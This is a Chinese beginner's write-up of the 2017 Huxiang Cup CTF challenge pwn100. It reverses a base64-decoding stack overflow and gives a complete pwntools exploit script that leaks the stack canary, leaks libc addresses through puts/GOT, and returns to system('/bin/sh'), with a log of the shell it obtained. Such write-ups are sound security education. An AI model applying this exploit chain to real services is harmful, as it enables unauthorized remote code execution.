2017年湖湘杯复赛 pwn100-writeup
这是本人第一次做出来pwn的题可能有些地方显得比较笨,但尽量把自己所想的每一步都描述清楚。不足之处请批评指正。
0x0001
拿到这个题,首先看到是一个pwns和libc.so.6,当时还不知道libc是什么,于是找了些资料看了一下,可以看看这个或者自己百度一下,相关链接http://blog.csdn.net/developerof/article/details/38459947
pwns文件应该是我们要逆向的文件,静态反汇编
0x0002
搜索关键字符 shift+f12,找到关键的几个字符串,进main函数,F5大法
判断应该是让判断条件 v2=0,才能进入Finish的函数,v2=fork(),关于fork() 函数也是临时看了看是什么东西,参考链接:
http://blog.csdn.net/jason314/article/details/5640969
具体什么原理还不是很清楚,大致理解,应该是如果子进程没有问题或者出错,返回的值应该是0,然后就能进入第一个判断条件了,那么sub_8048B29应该是必须要执行的函数,点进去看看:
再跳转一次
需要注意的地方有这么几个(其他部分在图片里面都有备注):
第26行:v22=*MK_FP(__GS__,20) 这是一个栈的保护机制 canary ,参考链接:https://www.cnblogs.com/gsharpsh00ter/p/6420233.html
第54行:调用了sub_80486FD,必要函数
第56~100行:这里是一个BSAE64的译码过程
第62行:off_804A050这个字符串为 ‘ ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ ’
第102行:对canary的值进行异或(判断是否被更改)
再看看sub_80486FD函数:
这个函数实现的功能就是使输入的数据为BASE64编码范围内的字符,不满足则报错 isalnum() 函数是判断参数是否为字母或数字,其他每一步的分析都标注在图片里了。需要知道的是最后返回的是输入的数据,最大长度为513位。
0x0003
现在可以想想漏洞在哪里
在 sub_80487E6() 函数中 ,dest中存放了我们可以随意输入的最多512个字符长度的数据,通过下面的while循环每次取四个字符,通过一系列的位移操作使四个变成三个字符,实际上就是完成了BASE64的解码过程,并且将解码后的数据存放在 v21[257] 数组中,这个数组最多可以存放257个字符。
当我们输入最大长度为512字节时,512/4*3=384,最长解码之后可以得到384字节的数据,但是v21这个数组无法存储到这么多,必然会造成溢出。
0x0004
栈空间分析:
main函数:
sub_8048B29函数:
sub_80487E6函数:
。。。
通过找到这些函数的关键部位的汇编代码,可以简单的构建分析一下栈的空间结构wo自己用 Excel 分析的(感觉比较方便),下面是我对栈的分析图:
其中地址为从上向下增长,依次分析main函数、sub_8048B29、sub_80487E6,这三个函数,得到上面的结构,canary上面恰好是v21的257个字节,因此必然会如果我们输入的数据过长必然会导致把canary覆盖掉,发生栈溢出,存在漏洞。这里如果对汇编语言分析有问题,可以自己找点资料看看了不展开了,有点多。
需要知道canary的最低字节 '\0' ,如上图中所示小段存储最低字节为 '\0' 。
0x0005
写脚本,我们需要考虑一下几个问题。
1、canary的值是来自内存的那个固定的地址,程序每次跑起来我们不知道里面存的是什么。
2、我们可以通过控制输入的数据使得解码后的数据覆盖到我们想要的地址(覆盖eip,即返回地址)。
3、想覆盖到返回地址,必然会导致覆盖canary,我们只能想想办法知道canary的值将其再次写会。
4、我们最终的目的是要获取shell,通过合理的控制返回地址所指向的函数。
直接上python脚本:
# -*- coding: utf-8 -*-
from pwn import * #调用pwn模块
import binascii #binascii模块包含很多在二进制和ASCII编码的二进制表示转换的方法
import base64 #base64的编码解码
def main():
debug = 2
if debug == 1:
io = process('./pwns') # io 处理各种类型的I/O操作流
# process() 可以打开一个本地程序并进行交互,开始一个进程
gdb.attach(io, '''
b *main
''') #附加调试器
elif debug == 2:
io = process('./pwns') #开始一个进程
else:
# nc -l -p 4546 -e ./pwns
io = remote('127.0.0.1', 4546) #创建到远程主机的TCP或UDP连接。它支持IPv4和IPv6。
#context.log_level = 'debug'
# gdb.attach(s,'b *0x080485c7')
context(arch='i386', os='linux')
#设置运行时变量,选定的目标操作系统,体系结构,i386是intel的较早期的32位处理器的名称
io.recvuntil("May be I can know if you give me some data[Y/N]") #接受到这个字符串
io.send('Y'+'\n') #向进程发送输入 ‘Y’
# io.sendline('Y') #区别:send(data) : 发送数据 ,而 sendline(data) : 发送一行数据,相当于在末尾加\n
io.recvuntil("Give me some datas:")
payload= base64.b64encode('A'*258) #258个base64编码的A为payload的值
#通过base64的编码之后,一共344个字节
io.sendline(payload) #将构造的数据发出去
#recv = io.recvuntil('Finish!')
print io.recv() #输出接收到的数据
recv= io.recv()
canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9] #rfind() 返回字符串最后一次出现的位置
#实际canary的长度为4字节,但最低字节为‘\x00’,取最后的‘AAAAAA’在字符串之间的位置,向后偏移6,取三个字符
print canary
#获取canary结束
#成功理解
elf=ELF('./pwns') #elf为 文件装载的基地址
#ELF模块用于获取ELF文件的信息,首先使用ELF()获取这个文件的句柄,然后使用这个句柄调用函数
setbuf_got= elf.got['setbuf'] #got 获取指定函数的GOT条目,定位全局变量
puts_plt = elf.plt['puts'] #plt 获取指定函数的PLT条目,定位过程的数据信息
#GOT(Global Offset Table)和PLT(Procedure Linkage Table)是Linux系统下面ELF格式的可执行文件中,用于定位全局变量和过程的数据信息
io.recvuntil("May be I can know if you give me some data[Y/N]")
io.send('Y'+'\n')
# io.sendline('Y')
io.recvuntil("Give me some datas:")
#主要是对整数进行打包,就是转换成二进制的形式,比如转换成地址。p32、p64是打包,u32、u64是解包。
payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(puts_plt) + 'A' * 4 + p32(setbuf_got))
io.sendline(payload)#将构造的数据发出去
#recv = io.recvuntil('Finish!')
print io.recv()
recv= io.recv()
print recv
setbuf_addr = u32(recv[recv.rfind('AAAAAA')+7:recv.rfind('AAAAAA')+11])
print setbuf_addr #获取setbuf在运行时的实际地址
elf= ELF('/lib/i386-linux-gnu/libc.so.6') #动态加载把题目所给的动态链接库加载起来
system_offset=elf.symbols["system"] #system偏移地址
setbuf_offset=elf.symbols["setbuf"] #setbuf偏移地址
system_addr=setbuf_addr+system_offset-setbuf_offset #system_addr-setbuf_addr=system_offset-setbuf_offset
binsh_offset=0x15cd28 #strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
binsh_addr = setbuf_addr+binsh_offset-setbuf_offset
io.recvuntil("May be I can know if you give me some data[Y/N]")
io.send('Y'+'\n')
# io.sendline('Y')
io.recvuntil("Give me some datas:")
payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(system_addr) + 'A' * 4 + p32(binsh_addr))
io.sendline(payload) #将构造的数据发出去
#recv = io.recvuntil('Finish!')
#print io.recv()
#recv= io.recv()
io.interactive() #直接进行交互,相当于回到shell的模式,在取得shell之后使用
a= raw_input("pause") #运行结束后暂停在这里,向控制台输出pause
if __name__ == '__main__':
main()
大致思路就是第一次我们通过写258个BASE64编码后的数据,使程序对其解码,恰好覆盖掉canary的最低字节,则puts的时候不会遇到canary而终止,实现canary的泄露。然后通过这个获取canary:
canary = '\x00'+recv[recv.rfind('AAAAAA')+6:recv.rfind('AAAAAA')+9] #后面这部分是获取其他三个字节的数据
然后,第二次通过:
payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(puts_plt) + 'A' * 4 + p32(setbuf_got))
那么我们为什么要获取setbuf的地址呢,因为实际这个程序跑起来的时候,我们并不知道他的地址是什么,所以需要动态获取。这里也可以获取其他函数的地址,主要是为了获取system的地址:
system_offset=elf.symbols["system"] #system偏移地址
setbuf_offset=elf.symbols["setbuf"] #setbuf偏移地址
system_addr=setbuf_addr+system_offset-setbuf_offset
我们使用同样的手段获取shell的地址:
system_offset=elf.symbols["system"] #system偏移地址 setbuf_offset=elf.symbols["setbuf"] #setbuf偏移地址 system_addr=setbuf_addr+system_offset-setbuf_offset #system_addr-setbuf_addr=system_offset-setbuf_offset binsh_offset=0x15cd28 #strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh" binsh_addr = setbuf_addr+binsh_offset-setbuf_offset
这里讲一下binsh_offset的偏移地址的获取:
#strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
这个命令需要你配置正确的路径(不同的电脑路径不同,注意用32位的,这个 elf 文件是32位的)命令行返回给你的数据就是binsh相对于基址的偏移地址。
第三次的payload为:
payload = base64.b64encode('A' * 257 + canary + 'A' * 12 + p32(system_addr) + 'A' * 4 + p32(binsh_addr)) #这里换成了binsh_addr
所以将第三次的payload发给程序之后得到的就是shell。
0x0006
只要我们有合适的环境就可以拿到这个shell了,我用的是kali2.0 64位版本的,可以安装32位的支持库,要是解决不了,就直接用32位的kali,还有如果用的是linux那就要装pwntools这个python的扩展模块(kali自带),python的版本为2.7.+ 。
这是我获得shell后的结果(我在本地试的):成功获取系统的控制权
root@kali:~/Desktop# python exploit.py
[+] Starting local process './pwns': pid 3899
\x00%\x1c�
[*] '/root/Desktop/pwns'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Result is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
\x90�Z�@\x16b�
4149933456
[*] '/lib32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Switching to interactive mode
Result is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
$ ls
core exploit.py libc.so.6 pwn0 pwns pwntools-dev pycharm注册 实验文件
$ cd ..
$ ls
capstone Documents Music Public pyasn1 Templates
Desktop Downloads Pictures pwntools PycharmProjects Videos
$
成功获取系统的控制权。
最后,如果是比赛的时候,通过他给的IP地址与端口,应该是可以使这个程序在指定的服务器上运行,并获取shell,有了shell就可以去找flag了。